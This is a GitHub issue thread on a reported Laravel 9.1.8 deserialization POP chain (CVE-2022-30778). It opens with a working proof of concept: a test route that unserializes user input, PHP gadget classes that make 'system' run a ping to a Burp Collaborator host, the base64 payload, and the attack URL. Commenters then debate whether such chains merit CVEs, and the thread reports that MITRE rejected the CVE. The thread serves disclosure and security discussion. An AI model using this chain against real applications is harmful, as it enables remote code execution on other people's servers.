1nhann / vulns

31 stars 4 forks source link

Laravel 9.1.8 POP chain #1

Open 1nhann opened 2 years ago

1nhann commented 2 years ago

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30778

Build a route to test:

routes/web.php

<?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function (\Illuminate\Http\Request $request) {
//    return view('welcome');
    $ser = base64_decode($request->input("ser"));
    unserialize($ser);
    return "ok";
});

poc

<?php
namespace Illuminate\Contracts\Queue{
    interface ShouldQueue
    {
        //
    }
}

namespace Illuminate\Bus{
    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = [];
        protected $handlers = [];
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = "system";

        }
    }
}

namespace Illuminate\Broadcasting{

    use Illuminate\Contracts\Queue\ShouldQueue;

    class BroadcastEvent implements ShouldQueue {
        function __construct()
        {

        }
    }
    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct()
        {
            $this->event = new BroadcastEvent();
            $this->event->connection = "ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net";
            $this->events = new \Illuminate\Bus\Dispatcher();
        }
    }
}
namespace{
    $a = new \Illuminate\Broadcasting\PendingBroadcast();
    echo base64_encode(serialize($a));
}

result :

Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo3MDoicGluZyAtbmMgMSBsYXJhdmVsLm1lNDBwOXZ4d2piczdtYXk4czZwdWlwZ2U3a3g4bS5idXJwY29sbGFib3JhdG9yLm5ldCI7fX0=

attack

http://127.0.0.1:1080/?ser=Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo3MDoicGluZyAtbmMgMSBsYXJhdmVsLm1lNDBwOXZ4d2piczdtYXk4czZwdWlwZ2U3a3g4bS5idXJwY29sbGFib3JhdG9yLm5ldCI7fX0=

image-20220513134853602

pqlx commented 2 years ago

So, why was a CVE issued for this?

caendesilva commented 2 years ago

I don't see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?

GlitchWitch commented 2 years ago

I don't see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?

@caendesilva If successfully exploited, an attacker would be able to perform remote code execution. In the example above this is demonstrated by running the ping command, which is a harmless way to confirm.

A malicious attacker could execute any command. This could be used to spawn a reverse shell, read and write files, access .env credentials, pivot to the database, etc.

Successful exploitation would require the use of unserialize within your laravel application and passing untrusted user input to that. While not recommended, it's also not unheard of.

caendesilva commented 2 years ago

I don't see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?

@caendesilva If successfully exploited, an attacker would be able to perform remote code execution. In the example above this is demonstrated by running the ping command, which is a harmless way to confirm.

A malicious attacker could execute any command. This could be used to spawn a reverse shell, read and write files, access .env credentials, pivot to the database, etc.

Successful exploitation would require the use of unserialize within your laravel application and passing untrusted user input to that. While not recommended, it's also not unheard of.

Thank you so much for the explanation. What confused me is that the ping command is entered from within your backend code. Are you claiming that the following string ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net can be entered and then executed by an attacker through the example route?

Are you aware of any instances in "official" (as in code maintained by the Laravel org) codebases where this is used? From your reply I know that my codebase does not contain this vulnerability, but if it is present in say Laravel Jetstream, that's something that should be noted.

klezVirus commented 2 years ago

The main problem I see is that a POP chain is NEVER a vulnerability by itself. The vulnerability would be to call unserialiase() to deserialise unvalidated input. But this instance doesn't appear in the code, hence it should not even be considered valid for a CVE.

It's really a nice finding tho. Just doesn't make sense to have it as a CVE, because... it's not a vulnerability.

GlitchWitch commented 2 years ago

Are you claiming that the following string ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net can be entered and then executed by an attacker through the example route?

That is correct, by using the PoC to generate a base64 payload we can pass that to the example route. I have not personally reviewed all the laravel maintained codebases, but anywhere unserialize accepts user controlled input would be vulnerable.

pasterp commented 2 years ago

The main problem I see is that a POP chain is NEVER a vulnerability by itself. The vulnerability would be to call unserialiase() to deserialise unvalidated input. But this instance doesn't appear in the code, hence it should not even be considered valid for a CVE.

It's really a nice finding tho. Just doesn't make sense to have it as a CVE, because... it's not a vulnerability.

So having code execution on unserialize is a feature ?

GlitchWitch commented 2 years ago

So having code execution on unserialize is a feature ?

The official PHP docs warn of this. Screenshot_2022-05-17_16-44-32

This also reflects Taylor Otwell's response when I asked if he was aware of this CVE.

On Tuesday, May 17th, 2022 at 12:06, taylorotwell taylor@laravel.com wrote:

Passing unsanitized user input to unserialize is never safe in PHP.

GlitchWitch commented 2 years ago

Of note: Snyk points to this being the vulnerable code in question.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data via an unserialize pop chain in __destruct and dispatch($command).

klezVirus commented 2 years ago

@pasterp If you deserialise untrusted data, it's your fault for doing that. If there is whatever POP chain in your code, you may allow an attacker to execute arbitrary code, but the POP chain just makes the vulnerability worse, it DOES NOT constitute the vulnerability.

To make an example, if you have a stack buffer overflow, you can exploit it with a ROP chain, but the vulnerability is not the ROP chain, it is the bloody stack buffer overflow. Saying that the POP chain is the vulnerability is like saying that the ROP chain is the vulnerability, and that's false.

Calling unserialise on untrusted data is a vulnerability.

pqlx commented 2 years ago

I think there should be some serious thought about revoking this CVE.

As pointed out, there is no security boundary being breached here. Passing arbitrary data to unserialize has always been classified as "unsafe". That the Laravel core framework just happens to have a few classes that you could readily use in such a scenario does not constitute a vulnerability on their part.

Besides, there's no real fix for people using unserialize inappropriately anyway. As @klezVirus points out, it's analogous to something like ROP gadgets. (Framework) developers can keep patching their classes to not do stuff in e.g. __construct or __destruct, but besides making code more complex (and maybe eliminating low-hanging fruit), there are always going to be more complex chains that give the attacker more control. It is a fundamental issue with unserialize.

caendesilva commented 2 years ago

So having code execution on unserialize is a feature ?

No it's not. But it's not necessarily a vulnerability either. If someone were to pass unsafe user input into an exec() call, that would be a vulnerability in that persons code, but it's not a vulnerability within PHP.

If there are any usages in the Laravel core framework that actually has code akin to this, then yeah it should be a CVE. But since it does not seem to be so, this is not any more of a vulnerability in Laravel as the following is:

// Obviously DON'T actually do this in a real app
Route::get('/', function (\Illuminate\Http\Request $request) {
    echo shell_exec($request->input('name'));
});

While my example above for sure is a vulnerability in my code (if it was actually deployed), it's not a vulnerability within Laravel, or even PHP.

GlitchWitch commented 2 years ago

@caendesilva I'd argue comparing exec to unserialize is an apples to oranges comparison and not really the best analogy for what is happening here.

While I agree it's not best practice to pass untrusted user input to unserialize, doing that alone does not automatically create a path for exploitation.

owenson commented 2 years ago

So just to clarify as we also got the snyk alert. The vulnerability here is that there exists a class in Laravel which will do code execution when called, but that the only route to call it is via unserialize which is not passed untrusted user input in laravel itself. So it isn't reachable unless a user (developer) calls unserialize() on untrusted input which is bad idea anyway (according to the docs and common sense).

oreillysean commented 2 years ago

I'm here too because of snyk. Is there any solution to this?

GlitchWitch commented 2 years ago

I'm here too because of snyk. Is there any solution to this?

@oreillysean Check your code for any areas that might use unserialize and accept user input. If none are found you can mark it as ignored in Synk since it's not applicable to you.

oreillysean commented 2 years ago

@GlitchWitch yes I agree with you. However would this not fix the issue as stated in the CVE https://github.com/oreillysean/framework/commit/57c5f5708c1002e8f51f84c64db2bd18f2c752de

I think this is more to do with the __destruct magic method than the unserialize

fmbskye commented 2 years ago

this is for Laravel 9.1.8 only ? if yes, Snyk raised a false alert for my 8.83.12 Laravel ?

GlitchWitch commented 2 years ago

@GlitchWitch yes I agree with you. However would this not fix the issue as stated in the CVE https://github.com/oreillysean/framework/commit/57c5f5708c1002e8f51f84c64db2bd18f2c752de

I haven't had a chance to test, but perhaps it would be worth submitting your proposed fix as a PR for the Laravel team to review.

fmbskye commented 2 years ago

how to fix this vulnerability ? to upgrade to laravel 9.19 ?

pmxjason commented 2 years ago

how to fix this vulnerability ? to upgrade to laravel 9.19 ?

There isn't a vulnerability to fix here. The researcher has created a controller which unserializes user input and then passes a malicious payload to the controller they have made.

PHP official documentation warns you not to unserialise user input for this very reason: https://www.php.net/manual/en/function.unserialize.php

This would be a valid CVE if a Laravel library was calling unserialize on unsanitised user input. It isn't... As reported and demo'd the CVE is saying "If I write insecure code, I can exploit it." If this is valid then we need to log exactly the same issue against Symfony, SlimPHP and every other PHP framework.

Static code analysis would provide protection against developers crafting such code. The CVE should be revoked.

mir-hossein commented 2 years ago

Hello,

Finally, I decided to contact MITRE about this issue on Monday.

Also, I found similar issues: CVE-2021-43503 GitHub Reviewed :-| CVE-2022-34943 CVE-2021-37298 + CVE-2022-31279 GitHub Reviewed :-| CVE-2022-30779 CVE-2022-30778

Please help me to gather a list of similar CVEs that are assigned to GCs. I will contact MITRE and inform them. These CVEs mislead developers and the Cyber Security community.

@1nhann Your POP Chains are very good 👍, but they shouldn't have CVE. 🌺

Regards, Mirhossein

fmbskye commented 2 years ago

^ best

caendesilva commented 2 years ago

Hello,

Finally, I decided to contact MITRE about this issue on Monday.

Also, I found similar issues: CVE-2021-43503 GitHub Reviewed :-| CVE-2022-34943 CVE-2021-37298 + CVE-2022-31279 GitHub Reviewed :-| CVE-2022-30779 CVE-2022-30778

Please help me to gather a list of similar CVEs that are assigned to GCs. I will contact MITRE and inform them. These CVEs mislead developers and the Cyber Security community.

@1nhann Your POP Chains are very good 👍, but they shouldn't have CVE. 🌺

Regards, Mirhossein

That's great, thank you!

fmbskye commented 2 years ago

NVD issues CVE or MITRE ? :-/

mir-hossein commented 2 years ago

NVD issues CVE or MITRE ? :-/

MITRE.

mir-hossein commented 2 years ago

Hello,

Finally, I decided to contact MITRE about this issue on Monday.

Also, I found similar issues: CVE-2021-43503 GitHub Reviewed :-| CVE-2022-34943 CVE-2021-37298 + CVE-2022-31279 GitHub Reviewed :-| CVE-2022-30779 CVE-2022-30778

Please help me to gather a list of similar CVEs that are assigned to GCs. I will contact MITRE and inform them. These CVEs mislead developers and the Cyber Security community.

@1nhann Your POP Chains are very good +1, but they shouldn't have CVE. hibiscus

Regards, Mirhossein

Hello,

It seems a clever person has used the list to contact MITRE and MITRE has revoked all these CVEs (2 hours after my comment)

CVE-2021-43503 CVE-2022-34943 CVE-2021-37298 CVE-2022-31279 CVE-2022-30779 CVE-2022-30778

Good luck, Mirhossein

fmbskye commented 2 years ago

@mir-hossein when will they REVOKE this CVE ? Also, when will Synk remove it ?

GlitchWitch commented 2 years ago

@mir-hossein when will they REVOKE this CVE ? Also, when will Synk remove it ?

The CVE for this was marked as rejected. It's already happened.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30778

As for Snyk, you'll have to reach out to them for that answer. In the meantime you should review your code and mark it as ignored if you're not impacted.

I'm here too because of snyk. Is there any solution to this?

Check your code for any areas that might use unserialize and accept user input. If none are found you can mark it as ignored in Synk since it's not applicable to you.

mir-hossein commented 2 years ago

Hello,

Dear @1nhann, When I was investigating POP-related CVEs, I found out almost all of them were requested by our Chinese friends and it has started in 2019.

Would you (@1nhann) please tell me if someone provided disinformation about POP chains and misled the security researchers in China? A blog or YouTube video or ...?

I'm so sorry about your revoked CVEs. If you remember, three months ago we discussed it here. I didn't contact MITRE at the time because I didn't want to upset you 🌻, but it caused false alarms in companies and CERT centers. We had no way. Was asked MITRE to stop issuing CVEs for POP chains.

Your achievements (POP Chains) are very good and valid. 👍🏆 We criticized only the CVE-IDs and MITRE.

Regards, Mirhossein